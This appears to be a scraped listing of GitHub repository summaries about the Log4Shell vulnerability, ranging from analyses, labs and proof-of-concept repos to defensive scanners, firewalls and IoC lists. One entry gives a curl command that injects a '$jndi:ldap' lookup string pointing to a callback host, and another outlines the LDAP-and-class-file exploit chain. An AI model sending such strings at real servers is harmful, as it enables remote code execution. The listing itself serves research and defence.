CVE-2021-44228---Log4Shell-Analysis

🔥 Log4Shell CVE-2021-44228 Analysis A comprehensive technical analysis of the Log4Shell vulnerability CVE-2021-44228, one of the most critical vulnerabilities in modern software history. 📖 Overview This repository contains an in-depth analysis of the Log4Shell vulnerability in Apache Log4j2,...

horrors-log4shell

horrors-log4shell A micro lab playground? for CVE-2021-44228 log4j Can be used for executing payloads against multiple targets. Target-specific payloads are generated runtime. Adjustable configuration and bypasses. Installation Java-related requirements Development / Running example Gradle Maven ...

pentesting-obioba

pentesting-obioba Black box pentesting: Shellshock CVE-2014-6271 + Log4Shell CVE-2021-44228. Root escalation. Executive and technical report Pentesting Obioba — Security Audit Black Box Project of the 360° Cybersecurity Bootcamp by The Bridge Digital Talent Accelerator 2025-2026. 🎯 Objective...

anti-jndi

anti-jndi Fun things against the abuse of the recent CVE-2021-44228 Log4Shell vulnerability using common web servers. Based on the post by @shipilev https://gist.github.com/shipilev/92e709a868f3d328b6636e1bfc21cf09 I ported his example to Apache2. A coworker did it for Lighttpd. I decided to make...

log4shell-docker-lab

Log4Shell docker lab for CVE-2021-44228 The components This docker lab makes use of three components, being: The vulnerable spring-boot application An HTTP server that hosts .class files used for remote code execution An LDAP referral server which redirects specific LDAP queries to the HTTP serve...

CVE-2021-44228

CVE-2021-44228Apache Log4j Remote Code Execution） all log4j-core versions =2.0-beta9 and =2.14.1 The version of 1.x have other vulnerabilities, we recommend that you update the latest version. Security Advisories / Bulletins linked to Log4Shell CVE-2021-44228 Usage: download this project, compile...

log4shell-poc

CVE-2021-44228 Log4Shell POC Overview Proof of Concept for Remote Code Execution via JNDI Injection vulnerability in Apache Log4j 2.14.1. Web Hacking Course - Week 11 Assignment. Environment Role| Software| Version ---|---|--- Victim Server| Spring Boot + Log4j| 2.6.1 + 2.14.1 Victim JDK| OpenJDK...

wolf-tools

Arctic Wolf Log4Shell Deep Scan The Arctic Wolf Log4Shell Deep Scan is designed to detect Java application packages subject to CVE-2021-44228 and CVE-2021-45046. Legal Copyright 2021, Arctic Wolf Networks, Inc. Arctic Wolf Networks, Inc. licenses this file to you under the Apache License, Version...

log4jail

log4jail 🛡️ A fast firewall reverse proxy with TLS HTTPS and swarm support for preventing Log4J Log4Shell aka CVE-2021-44228 attacks. 📖 Table of Contents Introduction Installation Quick Start Proof of Concept For Pentesters ℹ️ Introduction log4jail is a quick and dirty solution to block Log4Shell...

log4j-docker-vaccine

Log4j Docker Vaccine A containerized way to run the log4j vaccine offered by Cyberreason https://github.com/Cybereason/Logout4Shell Make it go Clone this repo: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git Edit the containers.env file to hold an accurate private or public IP/DN...

log4shell-scanner

log4shell-scanner A dependency-free, defensive scanner for Log4Shell — finds vulnerable log4j-core jars and JNDI exploit patterns in logs and config. Why this project During my CERT-In rotation I worked on threat identification, containment, remediation and threat hunting — exactly the workflow...

log4j2burpscanner

JUST FOR TESTING，DON'T ATTACK ANYONE JUST FOR TESTING，DON'T ATTACK ANYONE JUST FOR TESTING，DON'T ATTACK ANYONE 交流群 二维码失效请加微信f-f0ng、备注log4j2burpscanner交流 关注主页公众号（only security），回复log4j2burpscanner获取下载地址】 FAQ Frequently Asked Questions how to use? releases download the latest plugin 简体中文|English...

log4shell-finder

log4shell-finder - Fastest file system scanner for log4j instances Python port of https://github.com/mergebase/log4j-detector log4j-detector is copyright C Copyright 2021 Mergebase Software Inc. https://mergebase.com/ Licensed via GPLv3. Motivation for porting to Python was to improve perfomance,...

log4j-checker

Log4j-Checker This repository contains scripts that can help identity .jar files which may be vulnerable to CVE-2021-44228 aka Log4Shell. Log4Shell Hash Check This script will find .jar files within the filesystem starting from a specific path, calculate a SHA-256 hash for each .jar file found -...

find-log4j

find-log4j Find log4j for CVE-2021-44228 on some places Log4Shell...

CVE-2021-44228

CVE-2021-44228 Abuse Log4J CVE-2021-44228 to patch CVE-2021-44228 in vulnerable Minecraft game sessions to prevent exploitation in the session : A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land...

log4j-CVE-2021-44228-Public-IoCs

log4j log4shell CVE-2021-44228 Public IoCs list Public IoCs about log4j CVE-2021-44228 log4shell based on Twitter and others social networks pull requests accepted, I remove duplicates automatically IPs https://github.com/Sh0ckFR/log4j-CVE-2021-44228-Public-IoCs/raw/main/ips.txt Callbacks domains...

log4shell

log4j CVE-2021-44228 Lame useless repo to look into log4j CVE-2021-44228. Setup The repository contains a .idea/ folder which is a IntelliJ IDEA project file. The IDE can be used to easily run and debug the log4j functionality. Videos Part 1: https://www.youtube.com/watch?v=w2F67LbEtnk Part 2:...

log4shell-demo

Simple Spring Boot application which is vulnerable to Log4Shell CVE-2021-44228 Changed default logging framework from logback to log4j2 Application logs 'User-Agent' header, so one can test vulnerability with curl and e.g. interactsh-service: curl -A '$jndi:ldap://interactsh-url/a'...

ansible-role-log4shell

Ansible role - log4shell ⭐ Star us on GitHub — it motivates us a lot! Find Log4Shell CVE-2021-44228 on your system This role tries to find JAR and WAR from filesystem and from opened files lsof ⚠️ Your system may runs slowly during the scan due to a find on / and the unarchive process to lookup...